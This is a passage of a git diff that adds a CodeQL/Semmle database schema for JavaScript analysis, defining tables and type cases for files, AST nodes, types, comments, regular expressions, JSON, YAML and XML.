@htmlcommentstart | @htmlcommentend; +@linecomment = @slashslashcomment | @htmlcomment; +@blockcomment = @slashstarcomment | @doccomment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +jsParseErrors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexpliteral; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_char +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape; + +regexpParseErrors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_char | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; + +isGreedy (int id: @regexp_quantifier ref); +rangeQuantifierLowerBound (unique int id: @regexp_range ref, int lo: int ref); +rangeQuantifierUpperBound (unique int id: @regexp_range ref, int hi: int ref); +isCapture (unique int id: @regexp_group ref, int number: int ref); +isNamedCapture (unique int id: @regexp_group ref, string name: string ref); +isInverted (int id: @regexp_char_class ref); +regexpConstValue (unique int id: @regexp_constant ref, varchar(1) value: string ref); +charClassEscape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +namedBackref (unique int id: @regexp_backref ref, string name: string ref); +unicodePropertyEscapeName (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicodePropertyEscapeValue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error | @json_parse_error + | @regexpterm + | @json_value + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_node | @yaml_error + | @xmllocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @exprparent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property; + +/* Last updated 2017/07/11. */ diff --git a/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/semmlecode.javascript.dbscheme b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/semmlecode.javascript.dbscheme new file mode 100644 index 00000000000..81e6619c681 --- /dev/null +++ b/javascript/upgrades/6486c78671c40e4dc07932d806366f09051bb399/semmlecode.javascript.dbscheme @@ -0,0 +1,1084 @@ +/*** Standard fragments ***/ + +/** Files and folders **/ + +@location = @location_default; + +locations_default(unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref + ); + +@sourceline = @locatable; + +numlines(int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref + ); + + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files(unique int id: @file, + varchar(900) name: string ref, + varchar(900) simple: string ref, + varchar(900) ext: string ref, + int fromSource: int ref); + +folders(unique int id: @folder, + varchar(900) name: string ref, + varchar(900) simple: string ref); + + +@container = @folder | @file ; + + +containerparent(int parent: @container ref, + unique int child: @container ref); + +/** Duplicate code **/ + +duplicateCode( + unique int id : @duplication, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +similarCode( + unique int id : @similarity, + varchar(900) relativePath : string ref, + int equivClass : int ref); + +@duplication_or_similarity = @duplication | @similarity; + +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref); + +/** External data **/ + +externalData( + int id : @externalDataElement, + varchar(900) path : string ref, + int column: int ref, + varchar(900) value : string ref +); + +snapshotDate(unique date snapshotDate : date ref); + +sourceLocationPrefix(varchar(900) prefix : string ref); + +/** Version control data **/ + +svnentries( + int id : @svnentry, + varchar(500) revision : string ref, + varchar(500) author : string ref, + date revisionDate : date ref, + int changeSize : int ref +); + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + varchar(500) action : string ref +); + +svnentrymsg( + int id : @svnentry ref, + varchar(500) message : string ref +); + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +); + + +/*** JavaScript-specific part ***/ + +filetype( + int file: @file ref, + string filetype: string ref +) + +// top-level code fragments +toplevels (unique int id: @toplevel, + int kind: int ref); + +isExterns (int toplevel: @toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url; + +isModule (int tl: @toplevel ref); +isNodejs (int tl: @toplevel ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmtparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmtContainers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jumpTargets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmtparent = @stmt | @toplevel | @functionexpr | @arrowfunctionexpr; +@stmt_container = @toplevel | @function | @namespacedeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; + +case @stmt.kind of + 0 = @emptystmt +| 1 = @blockstmt +| 2 = @exprstmt +| 3 = @ifstmt +| 4 = @labeledstmt +| 5 = @breakstmt +| 6 = @continuestmt +| 7 = @withstmt +| 8 = @switchstmt +| 9 = @returnstmt +| 10 = @throwstmt +| 11 = @trystmt +| 12 = @whilestmt +| 13 = @dowhilestmt +| 14 = @forstmt +| 15 = @forinstmt +| 16 = @debuggerstmt +| 17 = @functiondeclstmt +| 18 = @vardeclstmt +| 19 = @case +| 20 = @catchclause +| 21 = @forofstmt +| 22 = @constdeclstmt +| 23 = @letstmt +| 24 = @legacy_letstmt +| 25 = @foreachstmt +| 26 = @classdeclstmt +| 27 = @importdeclaration +| 28 = @exportalldeclaration +| 29 = @exportdefaultdeclaration +| 30 = @exportnameddeclaration +| 31 = @namespacedeclaration +| 32 = @importequalsdeclaration +| 33 = @exportassigndeclaration +| 34 = @interfacedeclaration +| 35 = @typealiasdeclaration +| 36 = @enumdeclaration +| 37 = @externalmoduledeclaration +| 38 = @exportasnamespacedeclaration +| 39 = @globalaugmentationdeclaration +; + +@declstmt = @vardeclstmt | @constdeclstmt | @letstmt | @legacy_letstmt; + +@exportdeclaration = @exportalldeclaration | @exportdefaultdeclaration | @exportnameddeclaration; + +@namespacedefinition = @namespacedeclaration | @enumdeclaration; +@typedefinition = @classdefinition | @interfacedeclaration | @enumdeclaration | @typealiasdeclaration | @enum_member; + +isInstantiated(unique int decl: @namespacedeclaration ref); + +@declarablestmt = @declstmt | @namespacedeclaration | @classdeclstmt | @functiondeclstmt | @enumdeclaration | @externalmoduledeclaration | @globalaugmentationdeclaration; +hasDeclareKeyword(unique int stmt: @declarablestmt ref); + +isForAwaitOf(unique int forof: @forofstmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @exprparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @exprortype ref); + +enclosingStmt (unique int expr: @exprortype ref, + int stmt: @stmt ref); + +exprContainers (unique int expr: @exprortype ref, + int container: @stmt_container ref); + +arraySize (unique int ae: @arraylike ref, + int sz: int ref); + +isDelegating (int yield: @yieldexpr ref); + +@exprorstmt = @expr | @stmt; +@exprortype = @expr | @typeexpr; +@exprparent = @exprorstmt | @property | @functiontypeexpr; +@arraylike = @arrayexpr | @arraypattern; + +case @expr.kind of + 0 = @label +| 1 = @nullliteral +| 2 = @booleanliteral +| 3 = @numberliteral +| 4 = @stringliteral +| 5 = @regexpliteral +| 6 = @thisexpr +| 7 = @arrayexpr +| 8 = @objexpr +| 9 = @functionexpr +| 10 = @seqexpr +| 11 = @conditionalexpr +| 12 = @newexpr +| 13 = @callexpr +| 14 = @dotexpr +| 15 = @indexexpr +| 16 = @negexpr +| 17 = @plusexpr +| 18 = @lognotexpr +| 19 = @bitnotexpr +| 20 = @typeofexpr +| 21 = @voidexpr +| 22 = @deleteexpr +| 23 = @eqexpr +| 24 = @neqexpr +| 25 = @eqqexpr +| 26 = @neqqexpr +| 27 = @ltexpr +| 28 = @leexpr +| 29 = @gtexpr +| 30 = @geexpr +| 31 = @lshiftexpr +| 32 = @rshiftexpr +| 33 = @urshiftexpr +| 34 = @addexpr +| 35 = @subexpr +| 36 = @mulexpr +| 37 = @divexpr +| 38 = @modexpr +| 39 = @bitorexpr +| 40 = @xorexpr +| 41 = @bitandexpr +| 42 = @inexpr +| 43 = @instanceofexpr +| 44 = @logandexpr +| 45 = @logorexpr +| 47 = @assignexpr +| 48 = @assignaddexpr +| 49 = @assignsubexpr +| 50 = @assignmulexpr +| 51 = @assigndivexpr +| 52 = @assignmodexpr +| 53 = @assignlshiftexpr +| 54 = @assignrshiftexpr +| 55 = @assignurshiftexpr +| 56 = @assignorexpr +| 57 = @assignxorexpr +| 58 = @assignandexpr +| 59 = @preincexpr +| 60 = @postincexpr +| 61 = @predecexpr +| 62 = @postdecexpr +| 63 = @parexpr +| 64 = @vardeclarator +| 65 = @arrowfunctionexpr +| 66 = @spreadelement +| 67 = @arraypattern +| 68 = @objectpattern +| 69 = @yieldexpr +| 70 = @taggedtemplateexpr +| 71 = @templateliteral +| 72 = @templateelement +| 73 = @arraycomprehensionexpr +| 74 = @generatorexpr +| 75 = @forincomprehensionblock +| 76 = @forofcomprehensionblock +| 77 = @legacy_letexpr +| 78 = @vardecl +| 79 = @proper_varaccess +| 80 = @classexpr +| 81 = @superexpr +| 82 = @newtargetexpr +| 83 = @namedimportspecifier +| 84 = @importdefaultspecifier +| 85 = @importnamespacespecifier +| 86 = @namedexportspecifier +| 87 = @expexpr +| 88 = @assignexpexpr +| 89 = @jsxelement +| 90 = @jsxqualifiedname +| 91 = @jsxemptyexpr +| 92 = @awaitexpr +| 93 = @functionsentexpr +| 94 = @decorator +| 95 = @exportdefaultspecifier +| 96 = @exportnamespacespecifier +| 97 = @bindexpr +| 98 = @externalmodulereference +| 99 = @dynamicimport +| 100 = @expressionwithtypearguments +| 101 = @prefixtypeassertion +| 102 = @astypeassertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigintliteral +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @vardecl | @varaccess; + +@identifier = @label | @varref | @typeidentifier; + +@literal = @nullliteral | @booleanliteral | @numberliteral | @stringliteral | @regexpliteral | @bigintliteral; + +@propaccess = @dotexpr | @indexexpr; + +@invokeexpr = @newexpr | @callexpr; + +@unaryexpr = @negexpr | @plusexpr | @lognotexpr | @bitnotexpr | @typeofexpr | @voidexpr | @deleteexpr | @spreadelement; + +@equalitytest = @eqexpr | @neqexpr | @eqqexpr | @neqqexpr; + +@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr; + +@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr; + +@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr; + +@updateexpr = @preincexpr | @postincexpr | @predecexpr | @postdecexpr; + +@pattern = @varref | @arraypattern | @objectpattern; + +@comprehensionexpr = @arraycomprehensionexpr | @generatorexpr; + +@comprehensionblock = @forincomprehensionblock | @forofcomprehensionblock; + +@importspecifier = @namedimportspecifier | @importdefaultspecifier | @importnamespacespecifier; + +@exportspecifier = @namedexportspecifier | @exportdefaultspecifier | @exportnamespacespecifier; + +@typeassertion = @astypeassertion | @prefixtypeassertion; + +@classdefinition = @classdeclstmt | @classexpr; +@interfacedefinition = @interfacedeclaration | @interfacetypeexpr; +@classorinterface = @classdefinition | @interfacedefinition; + +@lexical_decl = @vardecl | @typedecl; +@lexical_access = @varaccess | @localtypeaccess | @localvartypeaccess | @localnamespaceaccess; +@lexical_ref = @lexical_decl | @lexical_access; + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @globalscope +| 1 = @functionscope +| 2 = @catchscope +| 3 = @modulescope +| 4 = @blockscope +| 5 = @forscope +| 6 = @forinscope // for-of scopes work the same as for-in scopes +| 7 = @comprehensionblockscope +| 8 = @classexprscope +| 9 = @namespacescope +| 10 = @classdeclscope +| 11 = @interfacescope +| 12 = @typealiasscope +| 13 = @mappedtypescope +| 14 = @enumscope +| 15 = @externalmodulescope +| 16 = @conditionaltypescope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @functiondeclstmt | @functionexpr | @arrowfunctionexpr; + +@parameterized = @function | @catchclause; +@type_parameterized = @function | @classorinterface | @typealiasdeclaration | @mappedtypeexpr | @infertypeexpr; + +isGenerator (int fun: @function ref); +hasRestParameter (int fun: @function ref); +isAsync (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +isArgumentsObject (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @localvartypeaccess; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @vardecl ref, + int decl: @variable ref); + +@typebind_id = @localtypeaccess | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @typedecl | @vardecl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @vardecl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @localnamespaceaccess | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +; + +@property_parent = @objexpr | @objectpattern | @classdefinition | @jsxelement | @interfacedefinition | @enumdeclaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @vardeclarator; + +isComputed (int id: @property ref); +isMethod (int id: @property ref); +isStatic (int id: @property ref); +isAbstractMember (int id: @property ref); +isConstEnum (int id: @enumdeclaration ref); +isAbstractClass (int id: @classdeclstmt ref); + +hasPublicKeyword (int id: @property ref); +hasPrivateKeyword (int id: @property ref); +hasProtectedKeyword (int id: @property ref); +hasReadonlyKeyword (int id: @property ref); +isOptionalMember (int id: @property ref); +hasDefiniteAssignmentAssertion (int id: @field_or_vardeclarator ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @functionexpr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @localtypeaccess +| 1 = @typedecl +| 2 = @keywordtypeexpr +| 3 = @stringliteraltypeexpr +| 4 = @numberliteraltypeexpr +| 5 = @booleanliteraltypeexpr +| 6 = @arraytypeexpr +| 7 = @uniontypeexpr +| 8 = @indexedaccesstypeexpr +| 9 = @intersectiontypeexpr +| 10 = @parenthesizedtypeexpr +| 11 = @tupletypeexpr +| 12 = @keyoftypeexpr +| 13 = @qualifiedtypeaccess +| 14 = @generictypeexpr +| 15 = @typelabel +| 16 = @typeoftypeexpr +| 17 = @localvartypeaccess +| 18 = @qualifiedvartypeaccess +| 19 = @thisvartypeaccess +| 20 = @istypeexpr +| 21 = @interfacetypeexpr +| 22 = @typeparameter +| 23 = @plainfunctiontypeexpr +| 24 = @constructortypeexpr +| 25 = @localnamespaceaccess +| 26 = @qualifiednamespaceaccess +| 27 = @mappedtypeexpr +| 28 = @conditionaltypeexpr +| 29 = @infertypeexpr +| 30 = @importtypeaccess +| 31 = @importnamespaceaccess +| 32 = @importvartypeaccess +| 33 = @optionaltypeexpr +| 34 = @resttypeexpr +; + +@typeref = @typeaccess | @typedecl; +@typeidentifier = @typedecl | @localtypeaccess | @typelabel | @localvartypeaccess | @localnamespaceaccess; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literaltypeexpr = @stringliteraltypeexpr | @numberliteraltypeexpr | @booleanliteraltypeexpr; +@typeaccess = @localtypeaccess | @qualifiedtypeaccess | @importtypeaccess; +@vartypeaccess = @localvartypeaccess | @qualifiedvartypeaccess | @thisvartypeaccess | @importvartypeaccess; +@namespaceaccess = @localnamespaceaccess | @qualifiednamespaceaccess | @importnamespaceaccess; +@importtypeexpr = @importtypeaccess | @importnamespaceaccess | @importvartypeaccess; + +@functiontypeexpr = @plainfunctiontypeexpr | @constructortypeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @anytype +| 1 = @stringtype +| 2 = @numbertype +| 3 = @uniontype +| 4 = @truetype +| 5 = @falsetype +| 6 = @typereference +| 7 = @objecttype +| 8 = @canonicaltypevariabletype +| 9 = @typeoftype +| 10 = @voidtype +| 11 = @undefinedtype +| 12 = @nulltype +| 13 = @nevertype +| 14 = @plainsymboltype +| 15 = @uniquesymboltype +| 16 = @objectkeywordtype +| 17 = @intersectiontype +| 18 = @tupletype +| 19 = @lexicaltypevariabletype +| 20 = @thistype +| 21 = @numberliteraltype +| 22 = @stringliteraltype +| 23 = @unknowntype +; + +@booleanliteraltype = @truetype | @falsetype; +@symboltype = @plainsymboltype | @uniquesymboltype; +@unionorintersectiontype = @uniontype | @intersectiontype; +@typevariabletype = @canonicaltypevariabletype | @lexicaltypevariabletype; + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @typereference | @typevariabletype | @typeoftype | @uniquesymboltype; +@ast_node_with_symbol = @typedefinition | @namespacedefinition | @toplevel | @typeaccess | @namespaceaccess | @vardecl | @function | @invokeexpr; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +@literaltype = @stringliteraltype | @numberliteraltype | @booleanliteraltype; +@type_with_literal_value = @stringliteraltype | @numberliteraltype; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @typereference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest( + unique int typ: @type ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslashcomment +| 1 = @slashstarcomment +| 2 = @doccomment +| 3 = @htmlcommentstart +| 4 = @htmlcommentend; + +@htmlcomment = @htmlcommentstart | @htmlcommentend; +@linecomment = @slashslashcomment | @htmlcomment; +@blockcomment = @slashstarcomment | @doccomment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +jsParseErrors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexpliteral; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_char +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = 